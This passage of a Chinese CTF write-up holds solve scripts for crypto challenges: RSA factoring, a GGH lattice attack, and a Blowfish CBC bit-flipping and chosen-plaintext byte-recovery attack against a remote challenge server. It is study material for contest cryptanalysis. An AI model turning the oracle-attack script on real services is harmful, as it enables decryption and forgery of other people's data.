                phi = (p-1)*(q-1)
                d = inverse_mod(e,phi)
                print(d)
                print(long_to_bytes(pow(c,d,n)))
fxxk(n,e,dpp)

RSAssss

yafu分解得到p(nextprime(q) 和 qnextprime(p),

然后爆破x和y解方程( nextprime(p) = p + x, nextprime(q) = q+y )

from gmpy2 import *
from tqdm import *
from Crypto.Util.number import *
n=8030860507195481656424331455231443135773524476536419534745106637165762909478292141556846892146553555609301914884176422322286739546193682236355823149096731058044933046552926707682168435727800175783373045726692093694148718521610590523718813096895883533245331244650675812406540694948121258394822022998773233400623162137949381772195351339548977422564546054188918542382088471666795842185019002025083543162991739309935972705871943787733784491735500905013651061284020447578230135075211268405413254368439549259917312445348808412659422810647972872286215701325216318641985498202349281374905892279894612835009186944143298761257

c=3304124639719334349997663632110579306673932777705840648575774671427424134287680988314129312593361087606243819528298610131797078262351307396831985397555390640151391138633431951746748156610463582479645561779194981806129898009876517899450840875569675976765155608446799203699927448835004756707151281044859676695533373755798273892503194753948997947653100690841880925445059175494314198605475023939567750409907217654291430615102258523998394231436796902635077995829477347316754739938980814293304289318417443493019704073164585505217658570214989150175123757038125380996050761572021986573934155470641091678664451080065719261207
#yufu
p_nextq = 89615068527538836315602124154008300286636934599617334867509053076622715365809371740037316558871796433906844464070995869293654082577887578197182408045175035339285085728002838220314068474670975228778464240088084331807420720121364486765011169669747553393661650912114228227308579940164269877101973728452252879383
q_nextp = n/p_nextq
print n%p_nextq
diff = p_nextq - q_nextp
#print diff
e = 0x10001

for x in tqdm(range(2,2222,2)):
    for y in range(2,2222,2):
        b = diff + x*y
        a = x
        c = -q_nextp*y
        delta = b**2 - 4*a*c
        if iroot(delta,2)[1]:
            try:
                #print iroot(delta,2)
                q = (-b + iroot(delta,2)[0])/(2*a)
                assert n%q==0
                print "suceess"
                d = inverse(e,q-1)
                c=3304124639719334349997663632110579306673932777705840648575774671427424134287680988314129312593361087606243819528298610131797078262351307396831985397555390640151391138633431951746748156610463582479645561779194981806129898009876517899450840875569675976765155608446799203699927448835004756707151281044859676695533373755798273892503194753948997947653100690841880925445059175494314198605475023939567750409907217654291430615102258523998394231436796902635077995829477347316754739938980814293304289318417443493019704073164585505217658570214989150175123757038125380996050761572021986573934155470641091678664451080065719261207
                print long_to_bytes(pow(c,d,q))
                exit()
            except Exception as ee:
                print str(ee)
                pass

-

easy matrix

GGH,直接套祥哥在xnuca的板子

https://blog.soreatu.com/posts/writeup-for-crypto-problems-in-xnuca2020/

exp:

from sage.modules.free_module_integer import IntegerLattice
import numpy as np
matrix=np.load("matrix.npy")
result=np.load("result.npy")

def BabaisClosestPlaneAlgorithm(L, w):
    '''
    Yet another method to solve apprCVP, using a given good basis.
    INPUT:
    * "L" -- a matrix representing the LLL-reduced basis (v1, ..., vn) of a lattice.
    * "w" -- a target vector to approach to.
    OUTPUT:
    * "v" -- a approximate closest vector.
    Quoted from "An Introduction to Mathematical Cryptography":
    In both theory and practice, Babai's closest plane algorithm
    seems to yield better results than Babai's closest vertex algorithm.
    '''
    G, _ = L.gram_schmidt()
    t = w
    i = L.nrows() - 1
    while i >= 0:
        w -= round( (w*G[i]) / G[i].norm()^2 ) * L[i]
        i -= 1
    return t - w


def fxxk_ggh(module,row,column):
    module = 2129
    row = 128
    column = 42
    Lattice = Matrix(ZZ, row + column, row)

    for i in range(row):
        for j in range(column):
            Lattice[row + j, i] = matrix[i][j]
        Lattice[i, i] = module

    lattice = IntegerLattice(Lattice, lll_reduce=True)
    target = vector(ZZ, result[:row])
    cvp = BabaisClosestPlaneAlgorithm(lattice.reduced_basis, target)
    #R = IntegerModRing(module)
    FLAG = Matrix(Zmod(module), matrix[:row])
    flag = FLAG \ cvp
    print(''.join( chr(i) for i in flag))
fxxk_ggh(2129,128,42)

more_calc

不知道是不是非预期,直接另外的东西不管,把p看成模数,(m < p)

import gmpy2
from Crypto.Util.number import *
flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"
e = 0x10001
p = 27405107041753266489145388621858169511872996622765267064868542117269875531364939896671662734188734825462948115530667205007939029215517180761866791579330410449202307248373229224662232822180397215721163369151115019770596528704719472424551024516928606584975793350814943997731939996459959720826025110179216477709373849945411483731524831284895024319654509286305913312306154387754998813276562173335189450448233216133842189148761197948559529960144453513191372254902031168755165124218783504740834442379363311489108732216051566953498279198537794620521800773917228002402970358087033504897205021881295154046656335865303621793069
c = 350559186837488832821747843236518135605207376031858002274245004287622649330215113818719954185397072838014144973032329600905419861908678328971318153205085007743269253957395282420325663132161022100365481003745940818974280988045034204540385744572806102552420428326265541925346702843693366991753468220300070888651732502520797002707248604275755144713421649971492440442052470723153111156457558558362147002004646136522011344261017461901953583462467622428810167107079281190209731251995976003352201766861887320739990258601550606005388872967825179626176714503475557883810543445555390014562686801894528311600623156984829864743222963877167099892926717479789226681810584894066635076755996423203380493776130488170859798745677727810528672150350333480506424506676127108526488370011099147698875070043925524217837379654168009179798131378352623177947753192948012574831777413729910050668759007704596447625484384743880766558428224371417726480372362810572395522725083798926133468409600491925317437998458582723897120786458219630275616949619564099733542766297770682044561605344090394777570973725211713076201846942438883897078408067779325471589907041186423781580046903588316958615443196819133852367565049467076710376395085898875495653237178198379421129086523
phi = p - 1
d = gmpy2.invert(e, phi)
m = gmpy2.powmod(c, d, p)
print(long_to_bytes(m))

blowfish

基本字节翻转再来一个beast,

#coding:utf-8
from base64 import *
from pwn import *
from hashlib import sha384
from string import printable
from tqdm import *

#context.log_level = 'debug'
sh = remote("8.131.69.237","15846")
def _xor(s1,s2):
    tmp=""
    for i in range(len(s1)):
        tmp+=chr(ord(s1[i])^ord(s2[i]))
    #print tmp
    return tmp

def sha384(content):
    return hashlib.sha384(content).hexdigest()

def PoW():
    sh.recvuntil("sha384(XXX+")
    tail = sh.recvuntil(")")[:-1]
    sh.recvuntil(" == ")
    tar = sh.recvuntil("\n")[:-1]
    for i in tqdm(printable):
        for j in printable:
            for k in printable:
                tmp = i+j+k
                #print tmp+tail
                #print tar
                #print sha384(tmp+tail)
                if sha384(tmp+tail) == tar:
                    sh.sendline(tmp)
                    return
    else:
        print "no"
PoW()                    
sh.recvuntil("\\___/|_|  |_|\\__,_|\n")
sh.recvuntil("\n")
msg = sh.recvuntil("\n")[:-1]
#print "msg",msg
#msg='ralI0ycVw0IuDjZ/cPp0m6dxFH1ROdAo'
iv = b64decode(msg)[:8]
cipher = b64decode(msg)[8:]
#print iv,cipher
ticket=b64encode(_xor(_xor(iv,'Blowfish'),'get_flag')+cipher)
#print "ticket",ticket

pre="0"*47
flag=""

for block in range(42):
        sh.sendline(ticket)
        sh.sendline(pre)
        target = b64decode(sh.recvuntil("\n")[:-1])[40:48]
        for i in printable:
            tmp = '0'*(47-block)+flag+i
            sh.sendline(ticket)
            sh.sendline(tmp)
            get = sh.recvuntil("\n")[:-1]
            now = b64decode(get)
            #print now
            if now[40:48] == target:
                flag += i
                print flag
                pre = pre[:-1]
                break
        else:
            print "no"

(完)